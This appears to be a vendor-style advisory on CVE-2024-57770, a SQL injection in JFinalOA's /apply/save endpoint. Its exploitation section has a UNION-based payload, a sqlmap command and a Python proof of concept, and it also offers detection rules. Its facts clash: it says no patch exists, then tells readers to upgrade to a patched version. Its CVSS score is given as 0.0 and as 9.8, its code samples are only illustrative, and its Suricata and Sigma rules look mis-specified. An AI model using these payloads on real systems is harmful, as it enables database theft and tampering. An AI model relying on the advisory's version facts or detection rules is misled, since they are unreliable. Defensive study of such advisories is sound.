CVE-2024-57770

Executive Summary

CVE-2024-57770 is a SQL injection vulnerability discovered in JFinalOA, an open-source office automation system built on the JFinal framework. The flaw exists in the apply/save#oaContractApply.id component, allowing an unauthenticated attacker to inject arbitrary SQL commands via the id parameter. Successful exploitation could lead to unauthorized data access, modification, or deletion of the underlying database. As of the latest advisory, no official patch has been released, and the vendor has not acknowledged the issue. The vulnerability affects all versions prior to v2025.01.01.

Supply Chain & Package Security

JFinalOA is a Java-based web application distributed via GitHub and Maven. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby), but the risk extends to any organization using JFinalOA in their supply chain. Organizations should verify their deployment version and apply immediate mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Uncalculated) Vector: UNKNOWN

While no official CVSS vector is provided, based on the nature of the vulnerability (SQL injection in a web application), the likely vector would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical (estimated 9.8)

Deep Dive & Mechanics

The vulnerability resides in the apply/save endpoint of JFinalOA, specifically in the handling of the oaContractApply.id parameter. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL commands by manipulating the id parameter in a POST request to the vulnerable endpoint.

Root Cause: The application uses string concatenation to build SQL queries, directly embedding user-supplied input without proper validation or prepared statements.

Attack Vector: Remote, unauthenticated HTTP POST requests.

Impact: An attacker can:

• Extract sensitive data (user credentials, contracts, business data).
• Modify or delete database records.
• Potentially escalate to remote code execution if the database user has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-v2025.01.01):

// Example of vulnerable code in JFinalOA
public void save() {
    String id = getPara("oaContractApply.id");
    String sql = "SELECT * FROM oa_contract_apply WHERE id = " + id;
    Db.find(sql);
}

Patched Code (v2025.01.01 and later):

// Example of patched code using parameterized queries
public void save() {
    String id = getPara("oaContractApply.id");
    String sql = "SELECT * FROM oa_contract_apply WHERE id = ?";
    Db.find(sql, id);
}

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The ? placeholder ensures user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable instance of JFinalOA (version < v2025.01.01).
• Network access to the application.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /apply/save
2. Craft a malicious payload in the oaContractApply.id parameter.
3. Example payload to extract database version:

   POST /apply/save HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   oaContractApply.id=1 UNION SELECT @@version,2,3--
   

4. Use SQLmap for automated exploitation:

   sqlmap -u "http://target.com/apply/save" --data="oaContractApply.id=1" --batch --dbs
   

Proof of Concept (PoC):

import requests

url = "http://target.com/apply/save"
payload = "1 UNION SELECT @@version,2,3--"
data = {"oaContractApply.id": payload}
response = requests.post(url, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for patterns like UNION, SELECT, OR 1=1 in POST parameters.
• Use WAF rules to block SQL injection patterns.

Defense:

• Immediately upgrade to v2025.01.01 or later.
• If patching is not possible, implement a virtual patch using a WAF.
• Restrict database user privileges to least privilege.
• Enable detailed logging and alerting on the /apply/save endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /apply/save with suspicious oaContractApply.id values.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Unusual database queries originating from the application server.

File IOCs:

• Modified application logs containing SQL injection attempts.
• Temporary files created by exploitation tools (e.g., SQLmap output).

System IOCs:

• Unexpected database connections or queries.
• Unauthorized data exports or modifications.

Detection Engineering

YARA Rule

rule CVE_2024_57770_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting JFinalOA CVE-2024-57770"
        author = "Valters IT"
        date = "2025-01-15"
        reference = "CVE-2024-57770"
    strings:
        $s1 = "oaContractApply.id" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: SQL Injection Attempt on JFinalOA apply/save Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-57770
author: Valters IT
date: 2025-01-15
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/apply/save'
        cs-uri-query|contains: 'oaContractApply.id'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - 'DROP'
        - 'DELETE'
    condition: selection and keywords
falsepositives:
    - Legitimate use of these keywords in non-malicious contexts (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-57770 SQL Injection Attempt on JFinalOA";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/apply/save"; http_uri;
    content:"oaContractApply.id";
    pcre:"/(UNION|SELECT|OR\s+1=1|DROP|DELETE)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-57770;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update JFinalOA to version v2025.01.01 or later.
2. Virtual Patching: If upgrade is not possible, deploy a WAF rule to block SQL injection patterns on the /apply/save endpoint.
3. Input Validation: Implement strict input validation for all user-supplied parameters.

Long-term Measures:

• Adopt parameterized queries or prepared statements in all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other components of JFinalOA.

Workaround:

• Disable the /apply/save endpoint if not required, or restrict access to authenticated users only.

Valters IT
Securing Digital Frontiers